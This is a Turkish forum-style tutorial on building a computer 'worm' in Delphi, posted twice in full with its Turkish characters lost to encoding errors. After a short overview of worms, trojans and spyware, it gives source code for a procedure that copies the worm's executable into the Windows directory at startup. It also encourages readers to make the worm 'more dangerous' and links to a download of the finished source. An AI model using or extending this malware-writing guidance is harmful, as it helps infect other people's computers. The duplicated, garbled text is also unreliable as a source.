Ad?m Ad?m Vir?s Yap?m?..!
B?LG?SAYAR V?R?S? YAZIMI
Genel Bilgiler:
Bilgisayar vir?sleri i?ersinde zararl? kodlar bulunana ufak programlard?r. ?al??ma ?ekli bak?m?ndan biyolojik vir?slere benzedi?i i?in bilgisayar vir?s? olarak adland?r?lm??lard?r. Vir?slerin ?o?unun uzant?s? ?al??t?r?labilir olan exe,com,scr,pif, vb. dosya tipleridir.Bilgisayar vir?slerinin bir ?ok ?e?idi bulunmaktad?r bunlar?n ba?l?calar?;
1) Worm (Solucan) vir?sleri: Worm v?r?slerinin genel ?zelli?i internet ?zerinden eposta yoluyla bula?malar? ve kendilerini defalarca kopyalayarak bilgisayar? yava?lat?p ??kertmeleridir, bir ?ok ?e?idi bulunan worm vir?slerinin herge?en g?n say?s? ve ?e?idi artmaktad?r. Bu ?ekilde h?zla de?i?im g?steren vir?slerle m?cadele etmek anti vir?s ?irketleri i?in olduk?a zordur. Worm vir?slerden korunman?n en iyi yolu, bilmedi?iniz eposta eklentilerini a?mamakt?r.
2) Trogen Horse (Truva At?) vir?sleri: Trojen vir?slerinin genel ?zelli?i bula?t?klar? bilgisayarda bir port a?arak bilgisayar kullan?c?s?n?n ?zel bilgilerini ve ?ifrelerini internet ba?lant?s?yla d??ar?ya g?ndermesidir. Trojen vir?slerinin d??ar?ya bilgi s?zd?rmas?, firewall (ate? duvar?) ad? verilen internet ba?lant?s?n? denetleyen yaz?l?mlarla engellenmeye ?al???lmaktad?r. Trojen vir?slerinden korunman?n en iyi yolu g?ncel bir anti vir?s yaz?l?m? kullanmakt?r.
3) Spy (Casus) vir?sler: Spy vir?slerin genel ?zelli?i kullan?c?n?n ziyaret etti?i internet adreslerini ve sosyal tercihlerini denetleyip gerekli yerlere rapor etmesidir. Spy vir?sler genelde internet ?zerinden m??terinin bilgilerini ??renmek isteyen ?irketler taraf?ndan kullan?l?rlar. Bir?ok spy vir?ste kullan?c?y? reklam i?eren sitelere y?nlendirir ve internet ba?lant?m?z? yava?lat?rlar. Bir ?ok ?e?idi bulunan spy vir?slerinden korunman?n en iyi yolu bir anti spy yaz?l?m? kullanmakt?r.
Buraya kadar bir vir?s yazmak i?in bilinmesi gereken temel bilgileri ayr?ntiya girmeden verdim, bu konuyla ilgili internet ?zerinde ufak bir ara?t?rmayla bir ?ok t?rk?e kaynak ve d?k?man bulabilirsiniz.
1) Bilgisayar Vir?s? Yaz?m?na Ba?lang??:
Bu makalede sizlere temel bir worm (solucan) vir?s? yaz?m?n? anlataca??m, daha sonra bu konudaki bilgilerinizi artt?r?p solucan?n?z? geli?tirerek g??lendirebilir, daha da tehlikeli hale getirebilirsiniz.
Solucan?m?z? geli?tirmek i?in bir programlama dili kullanmam?z gerekmektedir, bunun i?in bir ?ok programlama dili mevcuttur, bunlar?n en belirginleri;
a) Microsoft Visual C#
b) Sun Microsystem JAVA
a) Borland Delphi
c) Microsoft Visual C++
d) Borland C++ Builder
e) Microsoft Visual Basic
Biz burada solucan?m?z? yazmak i?in Borland ?irketinin Delphi programlama dilini kullanaca??z. Daha sonraki makalelerimde Visual C# ve Java programlama dilleri i?inde vir?s yaz?m?n? anlataca??m.
Bunun i?in ?ncelikle bilgisayar?m?zda Borland Delphi program?n?n olmas? gereklidir, Delphi'nin deneme s?r?m?n? www.borland.com sitesinden indirebilirsiniz.
ders2
2) Solucan?n G?vdesini Olu?turma:
Ba?lang?? olarak Borland Delphi program?n? ?al??t?ral?m ve men?de bulunan File se?ene?iden New -> Application yolunu izleyerek yeni bir proje olu?tural?m. Her Delphi projesi iki k?s?mdan olu?ur;
a) Form1: Program?m?z ?al??t???nda g?r?lecek ?n y?zd?r.
b) Unit1: ??ersine Delphi kodlar?n? yazaca??m?z kod penceresidir.
Art?k solucan?m?z?n kodlar?n? yazmaya ba?layabiliriz.
E?er kaynak kodlar?na bakarsak(Unit1) biz hi?bir?ey yapmad???m?z halde Delphi’nin solucan?m?z?n g?vdesini a?a??daki ?ekilde olu?turdu?unu g?r?r?z. Bu kodlar program?n ?al??mas?n? sa?layan, bizim i?in Delphi taraf?ndan olu?turulmu? gerekli tan?mlama komutlar?d?r. E?er herhangi birini silersek solucan?m?z ?al??maz.
//------------------------------------------------------------------------------------------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
{ Private declarations }
{Bu aral?kta fonksiyonlar?m?z?n ?n tan?mlamas?n? yapaca??z}
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{??te biz kodlar?m?z? bu aral??a yazaca??z}
end.
//-------------------------------------------------------------------------------------------
3) Solucan?m?za ?o?alma(Kolonlama) Yetene?ini Kazand?rma:
Solucan (Worm) viruslerinin en belirgin ?zelli?i kendilerini bilgisayar?n bir ?ok dizinine defalarca kopyalamalar?d?r. Solucan?m?z?n kendini hangi isimle ve hangi dizinlere kopyalayaca?? tamamen sizin tercihinizdir. Bunun i?in ?ncelikler solucan?m?za bir isim ve uzant? (exe,com,bat,pif,scr, vb.) belirlememiz gerekir. B?t?n vir?slerin temel ?zelli?i executeable (?al??t?rabilir) t?rden dosyalar olmas?d?r, ?rne?in solucan?m?za “ .jpg” uzant?s?n? verirsek Windows i?letim sistemi bunu bir resim dosyas? olarak alg?layacak ve resim g?stericisini ?al??t?racakt?r. B?ylece bir hata mesaj? al?nacak ve solucan?m?z hi?bir i?e yaramayacakt?r. Bunun i?in solucan?m?z Windows i?letim sisteminin direk ?al??t?raca?? bir uzant?da olmas? gereklidir. Bunlar?n ba?l?calar? ;
.exe (EXEcuteable)
.com (COMmand )
.bat (BAtch Files)
.pif (Program Information File)
.scr (SCReen saver)
?ncelikle solucan?m?z?n kendi kendini kolonlamas?n? istedi?imiz i?in Colon isimli bir procedure olu?tural?m, fakat Delphi'de her fonksiyon ve procedure i?in ?n tan?mlama yap?lmas? gereklidir. Bunun i?in solucan?m?z?n g?vdesindeki private-public aral???na a?a??daki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
procedure Colon(solucan,dizin: string);
//--------------------------------------------------------------------------------------------
B?ylece Delphi’ e Colon procedure'mizi tan?tm?? olduk.
Daha sonra a?a??daki procedure kodlar?n? solucan?m?n g?vdesinde {$R*.dfm}-end. aral???na ekleyelim,
// -------------------------------------------------------------------------------------------
procedure TForm1.Colon(solucan,dizin: string);
var
FileStream: TStream;
ColonStream: TStream;
begin
{Solucan?m?z?n ismi solucan de?i?keninden okunuyor.}
try
FileStream := TFileStream.Create(solucan,fmO penRead);
{Solucan?m?z Kendisini ayn? isimle dizine kopyal?yor.}
try
ColonStream := TFileStream.Create(dizin, fmCreate);
ColonStream.CopyFrom(FileStrea m,FileStream.Size);
finally
ColonStream.Free;
end;
finally
FileStream.Free;
end;
end;
// -------------------------------------------------------------------------------------------
Daha sonra Object Inspector penceresinde Form1->Events->OnCreate kutucu?una ?ift t?klayal?m. b?ylece Delphi bizim i?in a?a??daki kod blo?unu olu?turur.
//--------------------------------------------------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
{Solucan?m?z ilk ?al???nca yapmas?n? istediklerimizi bu aral??a yazaca??z.}
end;
//--------------------------------------------------------------------------------------------
BU blok i?ersindeki begin-end; aral???na a?a??daki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
{solucan.exe isimli solucan?m?z windows dizinine kopyalan?yor.}
Colon('solucan.exe','c:\window s\solucan.exe');
//--------------------------------------------------------------------------------------------
B?ylece solucan?m?z ?al??t???nda(OnCreate) ilk olarak Colon procedure'i ?al??t?rarak kendini windows dizinine kopyalar. Bu a?amadan sonra art?k F9 veya Run butonuna basarak kodlar?m?z? derlememiz gerekir. Fakat bunu yaparsak Delphi kopyalamak i?in "solucan.exe" arar ve bulamad??? i?in de hata verir. Biz ilk
?nce yeni bir klas?r a?al?m ve b?t?n bu yazd???m?z kodlar? Men?den File->Save Project As... yoluyla bu klas?r?n i?ersine kaydedelim. Daha sonra bu klas?r?n i?ine konu mankeni bir "solucan.exe" koyal?m, ben "notepad.exe" buraya kopyalay?p ad?n? "solucan.exe" olarak de?i?tirdim. ?imdi art?k Delphi'den solucan?m?z?n kodlar?n? derleyelim, klas?r?m?z?n i?inde "project1.exe" ismiyle olu?an exe solucan?m?zd?r
Bundan sonra art?k "solucan.exe" 'i silip "project1.exe" 'nin ad?n? solucan olarak de?i?tirebiliriz. Devam edecek...
Bu anlatt?klar?m?n yap?lm?? hali i?in,
"http://members.lycos.co.uk/elisaday/solucan.rar" (kaynak kodlar? i?inde)
(kaynak kisi:admin-milessound)
B?LG?SAYAR V?R?S? YAZIMI
Genel Bilgiler:
Bilgisayar vir?sleri i?ersinde zararl? kodlar bulunana ufak programlard?r. ?al??ma ?ekli bak?m?ndan biyolojik vir?slere benzedi?i i?in bilgisayar vir?s? olarak adland?r?lm??lard?r. Vir?slerin ?o?unun uzant?s? ?al??t?r?labilir olan exe,com,scr,pif, vb. dosya tipleridir.Bilgisayar vir?slerinin bir ?ok ?e?idi bulunmaktad?r bunlar?n ba?l?calar?;
1) Worm (Solucan) vir?sleri: Worm v?r?slerinin genel ?zelli?i internet ?zerinden eposta yoluyla bula?malar? ve kendilerini defalarca kopyalayarak bilgisayar? yava?lat?p ??kertmeleridir, bir ?ok ?e?idi bulunan worm vir?slerinin herge?en g?n say?s? ve ?e?idi artmaktad?r. Bu ?ekilde h?zla de?i?im g?steren vir?slerle m?cadele etmek anti vir?s ?irketleri i?in olduk?a zordur. Worm vir?slerden korunman?n en iyi yolu, bilmedi?iniz eposta eklentilerini a?mamakt?r.
2) Trogen Horse (Truva At?) vir?sleri: Trojen vir?slerinin genel ?zelli?i bula?t?klar? bilgisayarda bir port a?arak bilgisayar kullan?c?s?n?n ?zel bilgilerini ve ?ifrelerini internet ba?lant?s?yla d??ar?ya g?ndermesidir. Trojen vir?slerinin d??ar?ya bilgi s?zd?rmas?, firewall (ate? duvar?) ad? verilen internet ba?lant?s?n? denetleyen yaz?l?mlarla engellenmeye ?al???lmaktad?r. Trojen vir?slerinden korunman?n en iyi yolu g?ncel bir anti vir?s yaz?l?m? kullanmakt?r.
3) Spy (Casus) vir?sler: Spy vir?slerin genel ?zelli?i kullan?c?n?n ziyaret etti?i internet adreslerini ve sosyal tercihlerini denetleyip gerekli yerlere rapor etmesidir. Spy vir?sler genelde internet ?zerinden m??terinin bilgilerini ??renmek isteyen ?irketler taraf?ndan kullan?l?rlar. Bir?ok spy vir?ste kullan?c?y? reklam i?eren sitelere y?nlendirir ve internet ba?lant?m?z? yava?lat?rlar. Bir ?ok ?e?idi bulunan spy vir?slerinden korunman?n en iyi yolu bir anti spy yaz?l?m? kullanmakt?r.
Buraya kadar bir vir?s yazmak i?in bilinmesi gereken temel bilgileri ayr?ntiya girmeden verdim, bu konuyla ilgili internet ?zerinde ufak bir ara?t?rmayla bir ?ok t?rk?e kaynak ve d?k?man bulabilirsiniz.
1) Bilgisayar Vir?s? Yaz?m?na Ba?lang??:
Bu makalede sizlere temel bir worm (solucan) vir?s? yaz?m?n? anlataca??m, daha sonra bu konudaki bilgilerinizi artt?r?p solucan?n?z? geli?tirerek g??lendirebilir, daha da tehlikeli hale getirebilirsiniz.
Solucan?m?z? geli?tirmek i?in bir programlama dili kullanmam?z gerekmektedir, bunun i?in bir ?ok programlama dili mevcuttur, bunlar?n en belirginleri;
a) Microsoft Visual C#
b) Sun Microsystem JAVA
a) Borland Delphi
c) Microsoft Visual C++
d) Borland C++ Builder
e) Microsoft Visual Basic
Biz burada solucan?m?z? yazmak i?in Borland ?irketinin Delphi programlama dilini kullanaca??z. Daha sonraki makalelerimde Visual C# ve Java programlama dilleri i?inde vir?s yaz?m?n? anlataca??m.
Bunun i?in ?ncelikle bilgisayar?m?zda Borland Delphi program?n?n olmas? gereklidir, Delphi'nin deneme s?r?m?n? www.borland.com sitesinden indirebilirsiniz.
ders2
2) Solucan?n G?vdesini Olu?turma:
Ba?lang?? olarak Borland Delphi program?n? ?al??t?ral?m ve men?de bulunan File se?ene?iden New -> Application yolunu izleyerek yeni bir proje olu?tural?m. Her Delphi projesi iki k?s?mdan olu?ur;
a) Form1: Program?m?z ?al??t???nda g?r?lecek ?n y?zd?r.
b) Unit1: ??ersine Delphi kodlar?n? yazaca??m?z kod penceresidir.
Art?k solucan?m?z?n kodlar?n? yazmaya ba?layabiliriz.
E?er kaynak kodlar?na bakarsak(Unit1) biz hi?bir?ey yapmad???m?z halde Delphi’nin solucan?m?z?n g?vdesini a?a??daki ?ekilde olu?turdu?unu g?r?r?z. Bu kodlar program?n ?al??mas?n? sa?layan, bizim i?in Delphi taraf?ndan olu?turulmu? gerekli tan?mlama komutlar?d?r. E?er herhangi birini silersek solucan?m?z ?al??maz.
//------------------------------------------------------------------------------------------
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
{ Private declarations }
{Bu aral?kta fonksiyonlar?m?z?n ?n tan?mlamas?n? yapaca??z}
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{??te biz kodlar?m?z? bu aral??a yazaca??z}
end.
//-------------------------------------------------------------------------------------------
3) Solucan?m?za ?o?alma(Kolonlama) Yetene?ini Kazand?rma:
Solucan (Worm) viruslerinin en belirgin ?zelli?i kendilerini bilgisayar?n bir ?ok dizinine defalarca kopyalamalar?d?r. Solucan?m?z?n kendini hangi isimle ve hangi dizinlere kopyalayaca?? tamamen sizin tercihinizdir. Bunun i?in ?ncelikler solucan?m?za bir isim ve uzant? (exe,com,bat,pif,scr, vb.) belirlememiz gerekir. B?t?n vir?slerin temel ?zelli?i executeable (?al??t?rabilir) t?rden dosyalar olmas?d?r, ?rne?in solucan?m?za “ .jpg” uzant?s?n? verirsek Windows i?letim sistemi bunu bir resim dosyas? olarak alg?layacak ve resim g?stericisini ?al??t?racakt?r. B?ylece bir hata mesaj? al?nacak ve solucan?m?z hi?bir i?e yaramayacakt?r. Bunun i?in solucan?m?z Windows i?letim sisteminin direk ?al??t?raca?? bir uzant?da olmas? gereklidir. Bunlar?n ba?l?calar? ;
.exe (EXEcuteable)
.com (COMmand )
.bat (BAtch Files)
.pif (Program Information File)
.scr (SCReen saver)
?ncelikle solucan?m?z?n kendi kendini kolonlamas?n? istedi?imiz i?in Colon isimli bir procedure olu?tural?m, fakat Delphi'de her fonksiyon ve procedure i?in ?n tan?mlama yap?lmas? gereklidir. Bunun i?in solucan?m?z?n g?vdesindeki private-public aral???na a?a??daki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
procedure Colon(solucan,dizin: string);
//--------------------------------------------------------------------------------------------
B?ylece Delphi’ e Colon procedure'mizi tan?tm?? olduk.
Daha sonra a?a??daki procedure kodlar?n? solucan?m?n g?vdesinde {$R*.dfm}-end. aral???na ekleyelim,
// -------------------------------------------------------------------------------------------
procedure TForm1.Colon(solucan,dizin: string);
var
FileStream: TStream;
ColonStream: TStream;
begin
{Solucan?m?z?n ismi solucan de?i?keninden okunuyor.}
try
FileStream := TFileStream.Create(solucan,fmO penRead);
{Solucan?m?z Kendisini ayn? isimle dizine kopyal?yor.}
try
ColonStream := TFileStream.Create(dizin, fmCreate);
ColonStream.CopyFrom(FileStrea m,FileStream.Size);
finally
ColonStream.Free;
end;
finally
FileStream.Free;
end;
end;
// -------------------------------------------------------------------------------------------
Daha sonra Object Inspector penceresinde Form1->Events->OnCreate kutucu?una ?ift t?klayal?m. b?ylece Delphi bizim i?in a?a??daki kod blo?unu olu?turur.
//--------------------------------------------------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
{Solucan?m?z ilk ?al???nca yapmas?n? istediklerimizi bu aral??a yazaca??z.}
end;
//--------------------------------------------------------------------------------------------
BU blok i?ersindeki begin-end; aral???na a?a??daki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
{solucan.exe isimli solucan?m?z windows dizinine kopyalan?yor.}
Colon('solucan.exe','c:\window s\solucan.exe');
//--------------------------------------------------------------------------------------------
B?ylece solucan?m?z ?al??t???nda(OnCreate) ilk olarak Colon procedure'i ?al??t?rarak kendini windows dizinine kopyalar. Bu a?amadan sonra art?k F9 veya Run butonuna basarak kodlar?m?z? derlememiz gerekir. Fakat bunu yaparsak Delphi kopyalamak i?in "solucan.exe" arar ve bulamad??? i?in de hata verir. Biz ilk
?nce yeni bir klas?r a?al?m ve b?t?n bu yazd???m?z kodlar? Men?den File->Save Project As... yoluyla bu klas?r?n i?ersine kaydedelim. Daha sonra bu klas?r?n i?ine konu mankeni bir "solucan.exe" koyal?m, ben "notepad.exe" buraya kopyalay?p ad?n? "solucan.exe" olarak de?i?tirdim. ?imdi art?k Delphi'den solucan?m?z?n kodlar?n? derleyelim, klas?r?m?z?n i?inde "project1.exe" ismiyle olu?an exe solucan?m?zd?r
Bundan sonra art?k "solucan.exe" 'i silip "project1.exe" 'nin ad?n? solucan olarak de?i?tirebiliriz. Devam edecek...
Bu anlatt?klar?m?n yap?lm?? hali i?in,
"http://members.lycos.co.uk/elisaday/solucan.rar" (kaynak kodlar? i?inde)
(kaynak kisi:admin-milessound)